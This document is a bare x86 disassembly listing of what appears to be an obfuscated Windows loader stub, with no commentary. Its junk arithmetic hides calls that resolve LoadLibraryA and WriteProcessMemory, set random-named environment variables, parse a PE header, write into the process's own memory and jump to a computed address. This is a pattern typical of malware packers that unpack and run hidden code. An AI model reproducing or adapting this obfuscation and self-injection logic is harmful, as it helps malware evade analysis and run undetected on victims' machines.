add byte [eax], al
add byte [eax], al
add byte [eax], al
add edx, esi
and ebx, 0x5c
sub edi, dword [0x4067ac]
xor dword [0x4067b0], 0x87
push 7
mov ch, byte [esp]
add ch, 0x68
add dword [0x4067ab], ecx
or dword [0x4067d5], 0x27
sub dl, byte [0x4067d8]
push 0
push 0x3e8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObjectEx]
adc ecx, 0x7a
xor dword [0x40665e], edi
adc ebx, ecx
or dword [0x40672a], 0x25
dec dword [esp]
jne 0x403464
xor eax, 0x21
sbb ecx, ecx
sub ecx, dword [0x406743]
add ch, 0x72
add esp, 4
mov byte [0x406899], 0
add ecx, edi
adc dword [0x406798], ebx
adc esi, dword [0x4067f0]
or dword [0x4066cf], 0xee
lea ebx, str.kernel32.DLL
adc dword [0x406647], edx
sub eax, dword [0x40682a]
sub dword [0x406708], eax
mov dword [0x4067f1], 0xdc
adc dword [0x4066be], 0x4e
push ebx
sbb dword [0x406784], 0xdd
add dword [0x40676d], esi
add esi, edi
adc eax, 0xfffffff5
or edx, dword [0x4066f6]
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
sub bl, byte [0x4067d3]
add ecx, esi
adc dword [0x4066f2], 0x20
or esi, 0x1b
add dword [0x4067f3], ecx
or cl, byte [0x406641]
push str.HeapCreate
and dword [0x40668b], 0x76
and dword [0x406805], edx
adc ebx, ecx
or ebx, 0xffffffd5
sub ecx, esi
push eax
adc ebx, 0xffffffab
adc esi, dword [0x4067fa]
sub dword [0x40676e], edx
or dword [0x4067eb], 0x1d
add ecx, edi
adc edx, esi
push str.LoadLibraryA
adc edi, 0x69
adc edi, esi
sbb ecx, edx
xor ch, dl
or cl, 0x43
push eax
sub edx, dword [0x40677e]
mov dword [0x406785], 0x9f
sub ebx, dword [0x40663c]
add dword [0x406751], edx
push str.WriteProcessMemory
and dword [0x406822], edx
sub dword [0x406719], ebx
xor byte [0x406638], ch
adc dword [0x4067c7], 0x47
adc dword [0x406724], ecx
push eax
adc edx, dword [0x4067c0]
sub esi, ecx
adc esi, dword [0x40665d]
xor dword [0x406778], 0x33
sub byte [0x406828], 0xc9
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
add ebx, 0xffffff97
sub byte [0x406695], 0xa9
sub dword [0x406773], ecx
sub esi, 0xffffffbc
sbb dword [0x4066c8], 0x52
mov dword [0x406895], eax
adc edx, 0xffffff8c
adc dword [0x4067e0], 0x27
adc edi, dword [0x4066ed]
adc byte [0x40669b], bl
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
xor dword [0x406790], esi
sbb dword [0x4067d2], esi
sbb dword [0x406801], edx
add edi, 0x17
add dword [0x40668a], ebx
adc dword [0x406741], 5
mov dword [0x40686f], eax
or ebx, 0x3d
or ecx, dword [0x4066b8]
and dword [0x406634], 0xef
add esi, edi
push str.msjet40.DLL
sub ecx, edi
or edx, dword [0x4067d0]
adc edi, dword [0x4066c5]
adc ebx, dword [0x406744]
xor edi, esi
call eax
adc edi, dword [0x40667d]
and dword [0x406646], ecx
sub dword [0x40667d], edx
sub ebx, ecx
or edi, dword [0x406820]
sub edx, edx
push eax
push str.cofxsdjkcug
push str.janqpzwslwyqhrzm
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
pop eax
push eax
push str.slxpttltgmzj
push str.qvzdwryhymbq
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
pop eax
push eax
push 0xa
push 0x406a3b
push str.hzjsvslaekhwowdi
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
pop eax
push eax
or bl, byte [0x406670]
mov ecx, dword [esp]
add ecx, 0x3b
mov edx, dword [esp]
add edx, edi
adc dword [0x406670], 0x13
pop esi
sbb ecx, 0xffffffd3
sub eax, dword [0x40663d]
add eax, edi
adc dword [0x406751], 0xd1
sbb eax, edi
add esi, dword [esi + 0x3c]
add eax, edx
xor ebx, 0xffffffc3
sbb dword [0x4067a7], 0x6c
and dword [0x4067bc], edi
add esi, 0xa0
and dword [0x4067f8], edi
sub dword [0x406706], edx
sub ecx, 0x26
adc ebx, dword [0x4066ea]
push 0
push 8
push esi
push 0x406840
push 0xffffffffffffffff
call dword [0x406895]
adc edx, dword [0x406769]
or bl, byte [0x40682f]
sub ecx, 0x5b
or eax, 0xfffffffb
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x40687e], eax
adc edi, dword [0x406695]
adc edi, dword [0x406740]
xor edi, edx
sub edx, 0xffffffb7
adc al, byte [0x406696]
sbb dword [0x406790], ecx
and dword [0x406744], edi
add dword [0x4067ae], ebx
cmp word [0x406844], 0x1800
ja 0x402879
sub byte [0x4067ab], 0x5c
sub byte [0x40679f], 0x73
adc edx, dword [0x4067b5]
or dword [0x4067c6], edi
add dword [0x406899], 0x402689
adc ecx, 0xffffffcf
adc dword [0x406688], 0xf9
adc ebx, dword [0x4067ac]
add esi, 7
add ah, ch
add dword [0x4066f7], esi
jmp dword [0x406899]